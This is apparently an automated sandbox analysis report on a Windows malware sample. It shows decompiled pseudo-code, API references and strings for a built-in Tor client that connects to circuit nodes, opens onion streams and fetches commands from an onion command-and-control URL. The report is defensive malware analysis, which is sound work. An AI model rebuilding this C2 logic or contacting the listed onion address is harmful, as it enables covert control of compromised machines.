				 *((long long*)(_t469 + 0x20)) =  *((intOrPtr*)(__rdx + 0x40));
				E00007FF77FF79BAA1720(1, _t272, 0x9babd010, "Connecting to node #%u: \'%s\' (%s:%u)\n", __rbx + 1);
				 *((intOrPtr*)(_t465 - 0x29)) = 1;
				E00007FF77FF79BAA1BDC(0, _t465 + 7);
				E00007FF77FF79BAAA20C(1, _t272, __rbx, _t462, _t519, _t462, "Connecting to node #%u: \'%s\' (%s:%u)\n", __rbx + 1);
				if (E00007FF77FF79BAAABB0(_t462) == 0) goto 0x9baaead7;
				E00007FF77FF79BAAA54C(_t251, _t272, _t462, _t465 - 0x19, _t462);
				 *(_t462 + 0x38) =  *_t305;
				 *_t305 =  *(_t462 + 0x38);
				 *(_t462 + 0x40) =  *((intOrPtr*)(_t305 + 8));
				 *((long long*)(_t305 + 8)) =  *(_t462 + 0x40);
				if ( *((intOrPtr*)(_t465 - 0x19)) == 0) goto 0x9baaea66;
				E00007FF77FF79BAA4FDC( *((intOrPtr*)(_t465 - 0x19)),  *(_t462 + 0x40));
				_t452 =  *((intOrPtr*)(_t465 - 0x11));
				_t283 = _t452;
				if (_t283 == 0) goto 0x9baaea9a;
				asm("lock xadd [edi+0x8], eax");
				if (_t283 != 0) goto 0x9baaea9a;
				 *((intOrPtr*)( *_t452))();
				asm("lock xadd [edi+0xc], eax");
				if (_t283 != 0) goto 0x9baaea9a;
				 *((intOrPtr*)( *_t452 + 8))();
				_t308 =  *(_t462 + 0x38);
				if (_t308 == 0) goto 0x9baaeaaf;
				_t343 =  *((intOrPtr*)(_t308 + 0x48)) -  *((intOrPtr*)(_t308 + 0x40)) >> 3;
				if (_t343 != 1) goto 0x9baaeac6;
				goto 0x9baaec1c;
				goto 0x9baaec1c;
				goto 0x9baaec19;
				__imp__#12();
				E00007FF77FF79BAA1BA8(_t308, _t465 + 0x27);
				 *((intOrPtr*)(_t465 - 0x29)) = 2;
				if ( *(_t462 + 0x38) == 0) goto 0x9baaeb27;
				goto 0x9baaeb2a;
				 *(_t469 + 0x30) = _t272;
				 *((long long*)(_t469 + 0x28)) =  *((intOrPtr*)(_t308 + 8));
				 *((long long*)(_t469 + 0x20)) =  *((intOrPtr*)(_t519 + 0x40));
				E00007FF77FF79BAA1720(1, _t272, 0x9babd010, "Extending to node #%u: \'%s\' (%s:%u)\n", _t343 + 1);
				 *((intOrPtr*)(_t465 - 0x29)) = 2;
				E00007FF77FF79BAA1BDC(0, _t465 + 0x27);
				if ( *(_t462 + 0x38) == 0) goto 0x9baaeb81;
				goto 0x9baaeb84;
				_t456 = _t343;
				_t430 = _t519;
				E00007FF77FF79BAA5284(_t251, _t272, _t343,  *(_t462 + 0x38), _t430);
				if ( *(_t462 + 0x38) == 0) goto 0x9baaeba3;
				goto 0x9baaeba6;
				_t54 = _t456 + 1; // 0x1
				if (_t343 != _t54) goto 0x9baaebbd;
				goto 0x9baaec19;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x9], xmm0");
				 *((long long*)(_t465 - 9)) =  *(_t462 + 0x38);
				 *(_t462 + 0x38) = _t343;
				_t457 =  *(_t462 + 0x40);
				 *((long long*)(_t465 - 1)) = _t457;
				 *(_t462 + 0x40) = _t343;
				_t290 = _t457;
				if (_t290 == 0) goto 0x9baaec0d;
				asm("lock xadd [edi+0x8], eax");
				if (_t290 != 0) goto 0x9baaec0d;
				 *((intOrPtr*)( *_t457))();
				asm("lock xadd [edi+0xc], eax");
				if (_t290 != 0) goto 0x9baaec0d;
				 *((intOrPtr*)( *_t457 + 8))();
				_t481 = "Error when extending!\n";
				_t514 = _t469 + 0xb0;
				_t344 =  *((intOrPtr*)(_t514 + 0x20));
				_t463 =  *((intOrPtr*)(_t514 + 0x28));
				_t458 =  *((intOrPtr*)(_t514 + 0x30));
				_t520 =  *((intOrPtr*)(_t514 + 0x38));
				_t470 = _t514;
				_t535 = _t532;
				_t529 = _t526;
				_pop(_t466);
				goto E00007FF77FF79BAA1720;
				asm("int3");
				asm("int3");
				asm("int3");
				_t315 = _t470;
				 *((long long*)(_t315 + 0x10)) = _t430;
				 *((long long*)(_t315 + 8)) = 0x9babd010;
				_t467 = _t315 - 0x5f;
				_t471 = _t470 - 0xf8;
				 *((long long*)(_t467 - 9)) = 0xfffffffe;
				asm("movaps [eax-0x58], xmm6");
				_t345 = _t481;
				_t459 = _t430;
				 *(_t471 + 0x30) = 0;
				_t536 =  *((intOrPtr*)(_t481 + 0x48));
				asm("dec eax");
				_t523 = ( *((intOrPtr*)(_t481 + 0x50)) - _t536 - 0x00000001 &  ~( *((intOrPtr*)(_t481 + 0x50)) - _t536)) + _t536;
				 *((long long*)(_t467 - 0x29)) = _t536;
				 *((long long*)(_t467 - 0x21)) = _t523;
				_t516 =  *((intOrPtr*)(_t481 + 0x68));
				asm("dec eax");
				 *((long long*)(_t471 + 0x50)) = _t516;
				 *((long long*)(_t471 + 0x58)) = ( *((intOrPtr*)(_t481 + 0x70)) - _t516 - 0x00000001 &  ~( *((intOrPtr*)(_t481 + 0x70)) - _t516)) + _t516;
				_t431 =  *((intOrPtr*)(_t481 + 0x88));
				asm("dec eax");
				 *((long long*)(_t467 - 0x59)) = _t431;
				 *((long long*)(_t467 - 0x51)) = ( *((intOrPtr*)(_t481 + 0x90)) - _t431 - 0x00000001 &  ~( *((intOrPtr*)(_t481 + 0x90)) - _t431)) + _t431;
				_t223 =  *(_t481 + 0xa0) & 0x0000ffff;
				 *(_t467 + 0x77) = _t223;
				asm("dec ebp");
				if ((_t481 &  *((intOrPtr*)(_t481 + 0x30)) -  *((intOrPtr*)(_t481 + 0x28)) - 0x00000001) != 8) goto 0x9baaed2e;
				0x9bab024d(_t463, _t344, _t466);
				if (_t223 != 0) goto 0x9baaed2e;
				r14b = 1;
				goto 0x9baaed31;
				r14b = 0;
				_t224 = E00007FF77FF79BAA1720(1, _t272, 0x9babd010, "Accessing \'%s\'\n",  *((intOrPtr*)(_t345 + 8)));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x38], xmm0");
				 *(_t467 + 0x7f) = _t345;
				 *((long long*)(_t467 - 0x49)) = ".onion";
				 *((long long*)(_t467 - 0x41)) = 0x9bab5506;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				r8d = 0;
				E00007FF77FF79BAA17E4(_t224, _t223, 0x9bab5506, _t345, _t467 - 0x29, _t467 - 0x49, _t463, _t467, "Accessing \'%s\'\n");
				asm("movaps xmm6, [esp+0x50]");
				if (0x9bab5506 != _t523 - _t536 - 6) goto 0x9baaee6a;
				_t524 = _t523 - _t536;
				_t329 =  <  ? _t524 : _t524 - 6;
				E00007FF77FF79BAA1BA8( <  ? _t524 : _t524 - 6, _t467 - 0x49);
				_t101 = _t345 + 2; // 0x2
				_t274 = _t101;
				 *(_t471 + 0x30) = _t274;
				_t486 = "Creating onion stream...\n";
				_t103 = _t345 + 1; // 0x1
				E00007FF77FF79BAA1720(_t103, _t272, 0x9babd010, _t486,  *((intOrPtr*)(_t345 + 8)));
				_t511 =  *((intOrPtr*)(_t467 - 0x41));
				_t330 =  *((intOrPtr*)(_t467 - 0x39)) - _t511 - 1;
				asm("dec ebp");
				 *((long long*)(_t471 + 0x50)) = _t511;
				 *((long long*)(_t471 + 0x58)) = (_t486 & _t330) + _t511;
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [esp+0x50], xmm0");
				r9d =  *(_t467 + 0x77) & 0x0000ffff;
				E00007FF77FF79BAA4C58(0, _t251, _t103, _t272, _t274, __ebp, _t524 - _t524 - 6, _t345,  *((intOrPtr*)( *((intOrPtr*)(_t467 + 0x67)) + 0x38)), _t467 - 0x29, _t463, _t471 + 0x50);
				 *((long long*)(_t471 + 0x38)) =  *_t330;
				 *_t330 =  *((intOrPtr*)(_t471 + 0x38));
				 *((long long*)(_t471 + 0x40)) =  *((intOrPtr*)(_t330 + 8));
				 *((long long*)(_t330 + 8)) =  *((intOrPtr*)(_t471 + 0x40));
				_t229 = E00007FF77FF79BAA6AF4(_t467 - 0x29);
				_t275 = _t274 & 0xfffffffd;
				 *(_t471 + 0x30) = _t275;
				E00007FF77FF79BAA1BDC(_t229, _t467 - 0x49);
				goto 0x9baaeecf;
				E00007FF77FF79BAA1720(1, _t272, 0x9babd010, "Creating stream...\n", _t511);
				asm("movdqa [esp+0x50], xmm6");
				r9d =  *(_t467 + 0x77) & 0x0000ffff;
				E00007FF77FF79BAA49E8(_t272, _t275, _t524 - _t524 - 6, _t345,  *((intOrPtr*)( *((intOrPtr*)(_t467 + 0x67)) + 0x38)), _t467 - 0x29, _t463, _t471 + 0x50, _t511);
				 *((long long*)(_t471 + 0x38)) =  *_t330;
				 *_t330 =  *((intOrPtr*)(_t471 + 0x38));
				 *((long long*)(_t471 + 0x40)) =  *((intOrPtr*)(_t330 + 8));
				 *((long long*)(_t330 + 8)) =  *((intOrPtr*)(_t471 + 0x40));
				E00007FF77FF79BAA6AF4(_t467 - 0x29);
				r13d = 0;
				if ( *((intOrPtr*)(_t471 + 0x38)) == _t524) goto 0x9baaf0ce;
				_t136 = _t524 + 1; // 0x1
				E00007FF77FF79BAA1720(_t136, _t272, 0x9babd010, "Created...\n", _t511);
				_t138 = _t524 + 1; // 0x1
				E00007FF77FF79BAA1720(_t138, _t272, 0x9babd010, "Sending request...\n", _t511);
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x71], xmm0");
				 *(_t467 - 0x61) = _t524;
				if (r14b == 0) goto 0x9baaefee;
				malloc(_t535);
				 *(_t467 + 0x77) = _t330;
				if (_t330 == 0) goto 0x9baaef56;
				asm("movdqa [esp+0x50], xmm6");
				E00007FF77FF79BAA3BB4(_t330,  *((intOrPtr*)(_t471 + 0x38)), _t471 + 0x50);
				goto 0x9baaef59;
				_t347 = _t524;
				 *(_t467 + 0x77) = _t347;
				 *(_t467 + 0x7f) = _t347;
				 *(_t467 + 0x77) = _t524;
				 *(_t467 + 0x77) = _t524;
				_t147 = _t347 + 0x10; // 0x10
				if (E00007FF77FF79BAA3428(0, _t347, _t147,  *((intOrPtr*)(_t471 + 0x38)), _t459, _t463, _t529, _t520, _t515) != 0x90312) goto 0x9baaef94;
				if (E00007FF77FF79BAA3664(_t347, _t147) < 0) goto 0x9baaef96;
				if (E00007FF77FF79BAA356C(1, _t347, _t147, _t463, _t471 + 0x50, _t458) == 0) goto 0x9baaefeb;
				_t241 = E00007FF77FF79BAA1720(3, _t272, 0x9babd010, "Error while establishing TLS with \'%s\'\n", _t516);
				 *(_t459 + 8) = _t524;
				 *(_t459 + 0x10) = _t524;
				 *(_t459 + 0x18) = _t524;
				_t276 = _t275 | 0x00000001;
				 *(_t471 + 0x30) = _t276;
				E00007FF77FF79BAA1BDC(_t241, _t467 - 0x79);
				if (_t347 == 0) goto 0x9baaf0f2;
				_t331 =  *_t347;
				 *_t331();
				goto 0x9baaf0f2;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm0");
				asm("movdqa [esp+0x50], xmm6");
				 *(_t471 + 0x20) = _t347;
				_t244 = E00007FF77FF79BAA37A4(1, _t347, _t331, _t347, _t467 - 0x29, _t471 + 0x50, _t463, _t467 - 0x59);
				 *((long long*)(_t467 - 0x71)) =  *((intOrPtr*)(_t331 + 8));
				 *((long long*)(_t331 + 8)) =  *((intOrPtr*)(_t467 - 0x71));
				 *((long long*)(_t467 - 0x69)) =  *((intOrPtr*)(_t331 + 0x10));
				 *((long long*)(_t331 + 0x10)) =  *((intOrPtr*)(_t467 - 0x69));
				 *(_t467 - 0x61) =  *((intOrPtr*)(_t331 + 0x18));
				 *((long long*)(_t331 + 0x18)) =  *(_t467 - 0x61);
				E00007FF77FF79BAA1BDC(_t244, _t467 - 0x29);
				asm("dec eax");
				if (( *((intOrPtr*)(_t467 - 0x69)) -  *((intOrPtr*)(_t467 - 0x71)) - 0x00000001 &  ~( *((intOrPtr*)(_t467 - 0x69)) -  *((intOrPtr*)(_t467 - 0x71)))) == 0) goto 0x9baaf07c;
				goto 0x9baaf088;
				E00007FF77FF79BAA1720(2, _t272, 0x9babd010, "Received empty response!\n", _t467 - 0x59);
				 *(_t459 + 8) = _t524;
				 *(_t459 + 0x10) = _t524;
				 *(_t459 + 0x18) = _t524;
				 *(_t459 + 8) =  *((intOrPtr*)(_t467 - 0x71));
				 *((long long*)(_t467 - 0x71)) =  *(_t459 + 8);
				 *(_t459 + 0x10) =  *((intOrPtr*)(_t467 - 0x69));
				 *((long long*)(_t467 - 0x69)) =  *(_t459 + 0x10);
				 *(_t459 + 0x18) =  *(_t467 - 0x61);
				 *(_t467 - 0x61) =  *(_t459 + 0x18);
				goto 0x9baaefbf;
				E00007FF77FF79BAA1720(3, _t272,  *(_t459 + 0x18), "Error while creating the onion stream\n", _t467 - 0x59);
				 *(_t459 + 8) = _t524;
				 *(_t459 + 0x10) = _t524;
				 *(_t459 + 0x18) = _t524;
				 *(_t471 + 0x30) = _t276 | 0x00000001;
				 *(_t467 + 0x7f) = _t524;
				_t248 = E00007FF77FF79BAA6AF4(_t471 + 0x38);
				asm("movaps xmm6, [esp+0xe0]");
				return _t248;
			}

0x7ff79baae948
0x7ff79baae950
0x7ff79baae954
0x7ff79baae95b
0x7ff79baae963
0x7ff79baae967
0x7ff79baae96b
0x7ff79baae96f
0x7ff79baae973
0x7ff79baae976
0x7ff79baae97b
0x7ff79baae97e
0x7ff79baae986
0x7ff79baae989
0x7ff79baae98f
0x7ff79baae9a3
0x7ff79baae9a8
0x7ff79baae9b7
0x7ff79baae9be
0x7ff79baae9cc
0x7ff79baae9d4
0x7ff79baae9d8
0x7ff79baae9dd
0x7ff79baae9f8
0x7ff79baaea05
0x7ff79baaea0c
0x7ff79baaea17
0x7ff79baaea26
0x7ff79baaea33
0x7ff79baaea40
0x7ff79baaea44
0x7ff79baaea4f
0x7ff79baaea53
0x7ff79baaea5e
0x7ff79baaea60
0x7ff79baaea66
0x7ff79baaea6a
0x7ff79baaea6d
0x7ff79baaea72
0x7ff79baaea7a
0x7ff79baaea82
0x7ff79baaea87
0x7ff79baaea8f
0x7ff79baaea97
0x7ff79baaea9a
0x7ff79baaeaa1
0x7ff79baaeaab
0x7ff79baaeab6
0x7ff79baaeac1
0x7ff79baaead2
0x7ff79baaeae3
0x7ff79baaeae8
0x7ff79baaeafc
0x7ff79baaeb01
0x7ff79baaeb17
0x7ff79baaeb25
0x7ff79baaeb2d
0x7ff79baaeb31
0x7ff79baaeb36
0x7ff79baaeb51
0x7ff79baaeb5e
0x7ff79baaeb65
0x7ff79baaeb71
0x7ff79baaeb7f
0x7ff79baaeb81
0x7ff79baaeb84
0x7ff79baaeb87
0x7ff79baaeb93
0x7ff79baaeba1
0x7ff79baaeba6
0x7ff79baaebad
0x7ff79baaebbb
0x7ff79baaebbd
0x7ff79baaebc0
0x7ff79baaebc9
0x7ff79baaebcd
0x7ff79baaebd1
0x7ff79baaebd5
0x7ff79baaebd9
0x7ff79baaebdd
0x7ff79baaebe0
0x7ff79baaebe5
0x7ff79baaebed
0x7ff79baaebf5
0x7ff79baaebfa
0x7ff79baaec02
0x7ff79baaec0a
0x7ff79baaec0d
0x7ff79baaec1c
0x7ff79baaec24
0x7ff79baaec28
0x7ff79baaec2c
0x7ff79baaec30
0x7ff79baaec34
0x7ff79baaec37
0x7ff79baaec39
0x7ff79baaec3b
0x7ff79baaec3c
0x7ff79baaec41
0x7ff79baaec42
0x7ff79baaec43
0x7ff79baaec44
0x7ff79baaec47
0x7ff79baaec4b
0x7ff79baaec5b
0x7ff79baaec5f
0x7ff79baaec66
0x7ff79baaec6e
0x7ff79baaec72
0x7ff79baaec75
0x7ff79baaec7a
0x7ff79baaec7e
0x7ff79baaec90
0x7ff79baaec96
0x7ff79baaec99
0x7ff79baaec9d
0x7ff79baaeca1
0x7ff79baaecb3
0x7ff79baaecbc
0x7ff79baaecc1
0x7ff79baaecc6
0x7ff79baaecde
0x7ff79baaece7
0x7ff79baaeceb
0x7ff79baaecef
0x7ff79baaecf7
0x7ff79baaed0d
0x7ff79baaed17
0x7ff79baaed20
0x7ff79baaed27
0x7ff79baaed29
0x7ff79baaed2c
0x7ff79baaed2e
0x7ff79baaed48
0x7ff79baaed4d
0x7ff79baaed50
0x7ff79baaed58
0x7ff79baaed63
0x7ff79baaed6e
0x7ff79baaed72
0x7ff79baaed76
0x7ff79baaed7b
0x7ff79baaed86
0x7ff79baaed95
0x7ff79baaed9d
0x7ff79baaeda3
0x7ff79baaedad
0x7ff79baaedbf
0x7ff79baaedc4
0x7ff79baaedc4
0x7ff79baaedc7
0x7ff79baaedcb
0x7ff79baaedd2
0x7ff79baaeddc
0x7ff79baaede5
0x7ff79baaedec
0x7ff79baaedf3
0x7ff79baaedfc
0x7ff79baaee01
0x7ff79baaee06
0x7ff79baaee0b
0x7ff79baaee11
0x7ff79baaee27
0x7ff79baaee35
0x7ff79baaee3a
0x7ff79baaee46
0x7ff79baaee4b
0x7ff79baaee53
0x7ff79baaee58
0x7ff79baaee5b
0x7ff79baaee63
0x7ff79baaee68
0x7ff79baaee7d
0x7ff79baaee82
0x7ff79baaee88
0x7ff79baaee9e
0x7ff79baaeeac
0x7ff79baaeeb1
0x7ff79baaeebd
0x7ff79baaeec2
0x7ff79baaeeca
0x7ff79baaeecf
0x7ff79baaeede
0x7ff79baaeeeb
0x7ff79baaeeef
0x7ff79baaef00
0x7ff79baaef0b
0x7ff79baaef10
0x7ff79baaef13
0x7ff79baaef18
0x7ff79baaef1f
0x7ff79baaef2a
0x7ff79baaef30
0x7ff79baaef37
0x7ff79baaef39
0x7ff79baaef4c
0x7ff79baaef54
0x7ff79baaef56
0x7ff79baaef59
0x7ff79baaef5d
0x7ff79baaef61
0x7ff79baaef65
0x7ff79baaef69
0x7ff79baaef7c
0x7ff79baaef88
0x7ff79baaef96
0x7ff79baaefae
0x7ff79baaefb3
0x7ff79baaefb7
0x7ff79baaefbb
0x7ff79baaefbf
0x7ff79baaefc2
0x7ff79baaefca
0x7ff79baaefd3
0x7ff79baaefd9
0x7ff79baaefe4
0x7ff79baaefe6
0x7ff79baaefee
0x7ff79baaeff2
0x7ff79baaeff7
0x7ff79baaeffd
0x7ff79baaf00f
0x7ff79baaf01f
0x7ff79baaf023
0x7ff79baaf02f
0x7ff79baaf033
0x7ff79baaf03f
0x7ff79baaf043
0x7ff79baaf04b
0x7ff79baaf05f
0x7ff79baaf06c
0x7ff79baaf07a
0x7ff79baaf088
0x7ff79baaf08d
0x7ff79baaf091
0x7ff79baaf095
0x7ff79baaf0a1
0x7ff79baaf0a5
0x7ff79baaf0b1
0x7ff79baaf0b5
0x7ff79baaf0c1
0x7ff79baaf0c5
0x7ff79baaf0c9
0x7ff79baaf0da
0x7ff79baaf0df
0x7ff79baaf0e3
0x7ff79baaf0e7
0x7ff79baaf0ee
0x7ff79baaf0f2
0x7ff79baaf0fb
0x7ff79baaf103
0x7ff79baaf11e

APIs

inet_ntoa.WS2_32 ref: 00007FF79BAAE98F
inet_ntoa.WS2_32 ref: 00007FF79BAAEAE8

Strings

Connecting to node #%u: '%s' (%s:%u), xrefs: 00007FF79BAAE9E2
Extending to node #%u: '%s' (%s:%u), xrefs: 00007FF79BAAEB3B
Extended..., xrefs: 00007FF79BAAEBAF
Connected..., xrefs: 00007FF79BAAEAB8
Error while creating circuit!, xrefs: 00007FF79BAAEAC6
Error while connecting!, xrefs: 00007FF79BAAEAD7
Error when extending!, xrefs: 00007FF79BAAEC0D

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: inet_ntoa
String ID: Connected...$Connecting to node #%u: '%s' (%s:%u)$Error when extending!$Error while connecting!$Error while creating circuit!$Extended...$Extending to node #%u: '%s' (%s:%u)
API String ID: 1879540557-1880961314
Opcode ID: 061f6166cefa57626da9d821c533cef1a9b874924d1d8a518b7eaba18610b6bc
Instruction ID: 8aca8a5a328e87921eb5723495cf28a97d3569d4d4644d715a55db5661d88078
Opcode Fuzzy Hash: 061f6166cefa57626da9d821c533cef1a9b874924d1d8a518b7eaba18610b6bc
Instruction Fuzzy Hash: 1D91C336714B4986EB20DF69D4406BCB3A2FB84B94B944136DA5E137E0DF3CE651C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAFBD0 Relevance: 15.2, APIs: 3, Strings: 7, Instructions: 201
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF79BAAFBD0(void* __ecx, void* __edi, void* __ebp, void* __eflags, long long __rcx, void* __rdx, void* __r9) {
				void* __rbx;
				void* __rsi;
				void* _t125;
				void* _t128;
				void* _t145;
				signed long long _t162;
				void* _t169;
				signed long long _t171;
				signed int _t172;
				signed long long _t209;
				signed long long _t211;
				signed long long _t212;
				int _t214;
				signed long long _t217;
				signed long long _t218;
				void* _t220;
				long long _t221;
				void* _t223;
				void* _t224;
				void* _t226;
				void* _t227;
				void* _t236;
				signed long long _t237;
				signed long long _t241;
				intOrPtr _t246;
				char* _t247;
				intOrPtr _t248;
				void* _t250;
				intOrPtr _t251;
				void* _t254;

				_t134 = __edi;
				_t128 = __ecx;
				_t145 = _t226;
				 *((long long*)(_t145 + 8)) = __rcx;
				_t224 = _t145 - 0x5f;
				_t227 = _t226 - 0xe0;
				 *((long long*)(_t224 - 0x61)) = 0xfffffffe;
				asm("movaps [eax-0x48], xmm6");
				_t221 = __rcx;
				 *(_t227 + 0x30) =  *(_t227 + 0x30) & 0x00000000;
				 *(__rcx + 8) =  *(__rcx + 8) & 0x00000000;
				 *(__rcx + 0x10) =  *(__rcx + 0x10) & 0x00000000;
				 *(__rcx + 0x18) =  *(__rcx + 0x18) & 0x00000000;
				 *(_t227 + 0x30) = 1;
				E00007FF77FF79BAA1720(1, __edi, 0x9babd010, "Get pings...\n\n", __r9);
				 *(_t224 + 0x6f) = _t227 + 0x38;
				E00007FF77FF79BAA1BA8(_t227 + 0x38, _t227 + 0x38);
				E00007FF77FF79BAAF120(_t128, __ebp, _t224 - 0x39, _t227 + 0x38, __r9, _t254, _t250);
				E00007FF77FF79BAA1720(1, _t134, 0x9babd010, "%s\n\n",  *((intOrPtr*)(_t224 - 0x31)));
				 *((long long*)(_t227 + 0x20)) = "\n";
				 *((long long*)(_t227 + 0x28)) = 0x9bab37f1;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF77FF79BAA1C90(_t224 - 0x39, _t224 - 0x59);
				_t251 =  *((intOrPtr*)(_t224 - 0x51));
				_t248 =  *((intOrPtr*)(_t224 - 0x49));
				if (_t251 == _t248) goto 0x9baafec7;
				 *((long long*)(_t227 + 0x20)) = 0x9bab53a8;
				 *((long long*)(_t227 + 0x28)) = 0x9bab53a9;
				asm("movaps xmm6, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm6");
				E00007FF77FF79BAA1C90(_t251, _t227 + 0x38);
				if (( *((intOrPtr*)(_t224 - 0x71)) -  *((intOrPtr*)(_t224 - 0x79)) & 0xffffffe0) == 0x40) goto 0x9baafd2b;
				E00007FF77FF79BAA1720(1, _t134, 0x9babd010, "bad URL info: %s\n\n",  *((intOrPtr*)(_t251 + 8)));
				E00007FF77FF79BAA1B5C( *((intOrPtr*)(_t224 - 0x71)) -  *((intOrPtr*)(_t224 - 0x79)) & 0xffffffe0, _t224 - 0x19,  *((intOrPtr*)(_t224 - 0x79)));
				 *(_t224 + 0x6f) =  *(_t224 + 0x6f) & 0x00000000;
				_t209 = "%d";
				sscanf(_t247);
				 *(_t224 + 7) =  *(_t224 + 0x6f);
				_t217 = (_t209 >> 4) + (_t209 >> 4 >> 0x3f);
				_t236 = _t217 + 1;
				_t211 = (_t209 >> 4) + (_t209 >> 4 >> 0x3f);
				if (_t236 - _t211 <= 0) goto 0x9baafe72;
				goto 0x9baafdb0;
				_t162 = 4 + _t211 * 4 << 2;
				if (_t236 - _t162 >= 0) goto 0x9baafdac;
				if (_t162 - _t211 <= 0) goto 0x9baafe72;
				malloc(_t214);
				_t171 = _t162;
				_t246 =  *((intOrPtr*)(_t221 + 0x10));
				_t241 =  *(_t221 + 8);
				if (_t241 - _t246 >= 0) goto 0x9baafe47;
				_t237 = _t241;
				_t212 = _t162;
				 *(_t224 + 0x6f) = _t212;
				 *(_t224 + 0x77) = _t212;
				 *(_t212 + 8) =  *(_t212 + 8) & 0x00000000;
				 *(_t212 + 0x10) =  *(_t212 + 0x10) & 0x00000000;
				 *(_t212 + 0x18) =  *(_t212 + 0x18) & 0x00000000;
				 *(_t212 + 8) =  *((intOrPtr*)(_t237 + 8));
				 *((long long*)(_t237 + 8)) =  *(_t212 + 8);
				 *(_t212 + 0x10) =  *((intOrPtr*)(_t237 + 0x10));
				 *((long long*)(_t237 + 0x10)) =  *(_t212 + 0x10);
				 *(_t212 + 0x18) =  *((intOrPtr*)(_t237 + 0x18));
				 *((long long*)(_t237 + 0x18)) =  *(_t212 + 0x18);
				 *((intOrPtr*)(_t212 + 0x20)) =  *((intOrPtr*)(_t237 + 0x20));
				if (_t241 + 0x28 - _t246 < 0) goto 0x9baafde2;
				free(_t220);
				 *(_t221 + 8) = _t171;
				 *((long long*)(_t221 + 0x10)) = _t171 + (_t217 + _t217 * 4) * 8;
				 *((long long*)(_t221 + 0x18)) = (_t162 + _t162 * 4 << 3) + _t171;
				_t218 = _t217 + _t217 * 4;
				_t172 = _t171 + _t218 * 8;
				 *(_t224 + 0x6f) = _t172;
				E00007FF77FF79BAA1B5C((_t162 + _t162 * 4 << 3) + _t171, _t172, _t224 - 0x19);
				 *(_t172 + 0x20) =  *(_t224 + 7);
				 *((long long*)(_t221 + 0x10)) =  *(_t221 + 8) + 0x28 + _t218 * 8;
				E00007FF77FF79BAA1BDC( *(_t224 + 7), _t224 - 0x19);
				E00007FF77FF79BAA1F00(_t172, _t227 + 0x38, _t221, _t169);
				if (_t251 + 0x20 != _t248) goto 0x9baafce0;
				_t125 = E00007FF77FF79BAA1BDC(E00007FF77FF79BAA1F00(_t172, _t224 - 0x59, _t221, _t223), _t224 - 0x39);
				asm("movaps xmm6, [esp+0xd0]");
				return _t125;
			}

0x7ff79baafbd0
0x7ff79baafbd0
0x7ff79baafbd0
0x7ff79baafbd3
0x7ff79baafbe1
0x7ff79baafbe5
0x7ff79baafbec
0x7ff79baafbf4
0x7ff79baafbf8
0x7ff79baafbfb
0x7ff79baafc00
0x7ff79baafc05
0x7ff79baafc0a
0x7ff79baafc14
0x7ff79baafc28
0x7ff79baafc32
0x7ff79baafc46
0x7ff79baafc53
0x7ff79baafc6d
0x7ff79baafc79
0x7ff79baafc85
0x7ff79baafc8a
0x7ff79baafc8f
0x7ff79baafca2
0x7ff79baafca8
0x7ff79baafcac
0x7ff79baafcb3
0x7ff79baafcc0
0x7ff79baafccc
0x7ff79baafcdb
0x7ff79baafce0
0x7ff79baafcf3
0x7ff79baafd0c
0x7ff79baafd22
0x7ff79baafd2f
0x7ff79baafd39
0x7ff79baafd41
0x7ff79baafd4c
0x7ff79baafd55
0x7ff79baafd77
0x7ff79baafd7a
0x7ff79baafd96
0x7ff79baafd9c
0x7ff79baafdaa
0x7ff79baafdac
0x7ff79baafdb3
0x7ff79baafdb8
0x7ff79baafdc9
0x7ff79baafdcf
0x7ff79baafdd2
0x7ff79baafdd6
0x7ff79baafde0
0x7ff79baafde2
0x7ff79baafde9
0x7ff79baafdf0
0x7ff79baafdf4
0x7ff79baafdf8
0x7ff79baafdfd
0x7ff79baafe02
0x7ff79baafe0f
0x7ff79baafe13
0x7ff79baafe1f
0x7ff79baafe23
0x7ff79baafe2f
0x7ff79baafe33
0x7ff79baafe3b
0x7ff79baafe41
0x7ff79baafe4a
0x7ff79baafe50
0x7ff79baafe5c
0x7ff79baafe64
0x7ff79baafe72
0x7ff79baafe76
0x7ff79baafe7a
0x7ff79baafe85
0x7ff79baafe8e
0x7ff79baafe9d
0x7ff79baafea5
0x7ff79baafeb0
0x7ff79baafec1
0x7ff79baafed5
0x7ff79baafedd
0x7ff79baafef6

APIs

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

sscanf.MSVCRT ref: 00007FF79BAAFD4C
malloc.MSVCRT ref: 00007FF79BAAFDC9
free.MSVCRT ref: 00007FF79BAAFE4A

Part of subcall function 00007FF79BAA1F00: free.MSVCRT ref: 00007FF79BAA1F42

Strings

gfffffff, xrefs: 00007FF79BAAFCD1
gfffffff, xrefs: 00007FF79BAAFE68
cached-consensus, xrefs: 00007FF79BAAFBDD
http://pm2pavba27wr4m34.onion/command.txt, xrefs: 00007FF79BAAFC3A
bad URL info: %s, xrefs: 00007FF79BAAFD12
Get pings..., xrefs: 00007FF79BAAFC18
